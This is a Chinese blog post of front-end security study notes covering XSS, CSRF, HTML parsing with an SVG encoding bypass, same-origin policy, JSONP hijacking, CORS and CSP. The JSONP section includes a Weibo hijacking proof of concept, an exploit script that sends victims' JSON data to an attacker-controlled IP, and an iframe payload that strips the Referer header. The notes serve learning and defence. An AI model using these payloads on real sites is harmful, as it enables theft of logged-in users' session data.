N0rth3ty's Blog.

前端安全笔记

字数统计: 3.4k阅读时长: 13 min
2019/01/29 Share

最近在回炉重造,填填以前的坑,结合最近的面试写个回炉笔记记一下重点。

xss

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

通常将xss分为三类

  • 反射型
  • 存储型
  • dom型

前端安全中面试官很喜欢关注的点在于反射型xss和dom型xss的区别

因为反射型和存储型的区别可以说很简单了

更深入的讲解一下dom型xss

dom,全称Document Object Model,译为文档对象模型,而dom型xss的输出点就在dom上。

但我一直很疑惑的是其实从分类方法上讲,它不应该和上面两个并列,但是我也不知道为啥我都被面试官问过几次上面那个问题。

区别的话,首先在于dom型可以是反射的也可以是存储的。

其次在于反射型的xss是同服务端交互,脚本作为html一部分返回回来。
而dom型的脚本是通过客户端JavaScript放入html中的。

一般dom型的xss要比反射型的xss更难被检测到

CSRF

(这个感觉没什么好写的,简单记一下吧

CSRF(Cross-site request forgery),即跨站请求伪造

常见攻击方式为攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

简单讲就是盗用了你的cookie

结合xss可以扩展攻击面,在ctf前端题目中比较常见,常见的trick为用xss打管理员然后通过后台csrf完成某种操作。

浏览器解析方式

xss中经常要涉及一些编码问题,理解浏览器的解析方式有助于bypass

简单讲,html解析是一个状态机

开始时处于Data state,遇到<后变为Tag open state,然后转变为Tag name state,before attribute name state….然后进入Data state并释放当前标签的token(token代表一个有完整语义的单元)

其中有两个比较特殊的点

在RCDATA元素标签中,会进入一种RCDATA状态,在<textarea><title>的内容中不会创建标签,就不会有脚本能够执行。

svg外部标签,在解析它的时候,由于其支持xml协议,从而,svg还会对其内部数据进行一次xml解码,也就导致了svg标签内部可以使用html编码

例如
<script>alert&#40;1)</script>不会执行,因为其中的html编码并没有解析
但是<svg><script>alert&#40;1)</script>就可以执行,在svg标签内部,html编码会被解析

html编码可以在这些情况下使用

  • Data state
    • 标签外部
    • 属性值
  • svg标签内部

同源策略

同源策略是整个前端世界的运行的基础

同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据

它包含三个相同

  • 端口
  • 协议
  • 域名

不同源一般会有这些限制

  • Cookie、LocalStorage 和 IndexDB 无法读取
  • DOM 无法获得。
  • AJAX 请求不能发送。

跨域

跨域资源传输是我们常见的需求,但又因为同源策略的限制,所以我们常用以下两种方法

JSONP

JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用, 老式浏览器全部支持,服务器改造非常小。
它的基本思想是,网页通过添加一个<script>元素,通过src属性向服务 器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将 数据放在一个指定名字的回调函数里传回来。

但是这产生了跨域窃取数据的可能,造成JSONP劫持的问题

JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

JSONP劫持又为“ JSON Hijacking ”,这里其实是属于CSRF的范畴。攻击者可以在自己的站点中写入一条访问Json的JS,在用户Cookie未过期的情况下,Json中会返回敏感的用户信息,然后攻击者可以获取到数据,并发送到自己的站点。

它通常出现在一个使用了回调函数的接口当中

例如这样一个获取id和用户名的接口

1
2
3
4
5
6
7
8
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

这里的回调函数是根据你的请求参数决定的,然后将获取到的JSONP数据直接插入到script标签中就能执行回调函数达到跨域的目的

但是这样就会带来劫持的问题

乌云漏洞编号204941

是一个微博的JSONP劫持

这是接口调用

1
http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253

在已登陆的情况下访问这个接口会返回uid,可用于登陆

所以jsonp劫持本质上仍是一个csrf

区别在于csrf一般是盗用cookie去发送一些请求,常见的比如修改密码删除文章一类

但jsonp劫持在于盗用你的cookie去访问接口,然后拿到这个接口的数据,或者由于自定义回调函数的问题触发反射型的xss

上述接口的返回值为

1
sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});

可以看到这里有很多敏感信息
这些敏感信息可以用于登陆,比如通过如下接口

1
http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0

然后这是给出的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
<html>
<h4><center>weibo jsonp劫持演示</center></h4>
<body>
<script>
var test = function(obj){
alert('uid: ' + obj.uid);
alert('nickname: ' + obj.nick);
alert('ticket: ' + obj.ticket);
}
var s=document.createElement('script');
s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
document.body.appendChild(s);
</script>
</body>
</html>

(这里回调的是自己写的test函数用于漏洞证明
实际的exp中会将敏感信息保存利用
常见exp

1
2
3
4
5
6
7
8
9
10
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://192.168.192.120/" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>

劫持成功时我们可以在日志中获取到敏感信息

需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

回调函数是动态,主要有以下几类情况:

  • 完全可控(GET变量)
    回调函数在URL中指定,我们可以完全控制它。
  • 部分可控
    比如附加动态的数字,每个会话都不同
    如果附加的数字比较短,可以遍历创建回调函数。
  • 完全可控,但是没有显示在原始请求中(不知道参数名)
    最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。
    这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。
    因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。
    如果我们有以下API调用http://10.59.0.248/1.php,我们可能会尝试猜测回调变量:
    http://10.59.0.248/1.php?callback=test
    http://10.59.0.248/1.php?cb=test
    其他的还有func、function、call、jsonp、jsonpcallback等等。

常见的修复方案:

  • Referer正则匹配
    常见的有Referer匹配正则编写错误导致正则绕过。
    另外在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。
    1
    <iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>

这样就可以发送一个没有refer的请求

  • 添加Token
  • 放弃使用Jsonp跨域获取数据,使用CORS或者PostMessage

CORS

CORS是AJAX跨域的解决方法。

CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

同时满足以下两大条件,就属于简单请求。

  • 请求方式
    • HEAD
    • GET
    • POST
  • http头信息不超过以下字段
    • Accept
    • Accept-Language
    • Content-Language
    • Last-Event-ID
    • Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain

      简单请求

      浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段。
      1
      2
      3
      4
      5
      6
      GET /cors HTTP/1.1
      Origin: http://api.bob.com
      Host: api.alice.com
      Accept-Language: en-US
      Connection: keep-alive
      User-Agent: Mozilla/5.0...

如果Origin指定的源不在许可范围内,则会返回一个正常的http响应,客户端收到后因为没有Access-Control-Allow-Origin字段而报错。

如果跨域成功,则会多出几个头信息

1
2
3
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar

其实主要就是依据Access-Control-Allow-Origin 头来判别允许加载的源
要发送cookie首先要设置Access-Control-Allow-Credentials,同时要在AJAX请求中打开withCredentials属性。

非简单请求

非简单请求相比简单请求,其实只是多了一次预检请求(preflight)

浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。

1
2
3
4
5
6
7
8
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

有两个特殊字段

  • Access-Control-Request-Method

该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT。

  • Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header。

服务器确认跨域的话就会返回带有cors相关字段的包

1
2
3
4
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

  • Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。

  • Access-Control-Allow-Headers

如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在”预检”中请求的字段。

内容安全策略

Content Security Policy (CSP)是一个额外的安全层,用于检测并削弱跨站脚本攻击。

CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。

CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

两种方法可以启用 CSP。

  • 一种是通过 HTTP 头信息的Content-Security-Policy的字段。
  • 另一种是通过网页的标签。

常见配置规则

  • default-src 定义资源默认加载策略
  • font-src 定义 Font 加载策略
  • frame-src 定义 Frame 加载策略
  • script-src 定义js加载策略
  • img-src 定义图片加载策略

有了csp自然就存在csp bypass,关于csp bypass放到后面再写吧。

参考链接

http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
http://www.ruanyifeng.com/blog/2016/09/csp.html

CATALOG
  1. 1. xss
  2. 2. CSRF
  3. 3. 浏览器解析方式
  4. 4. 同源策略
  5. 5. 跨域
    1. 5.1. JSONP
    2. 5.2. CORS
      1. 5.2.1. 简单请求
      2. 5.2.2. 非简单请求
  6. 6. 内容安全策略
  7. 7. 参考链接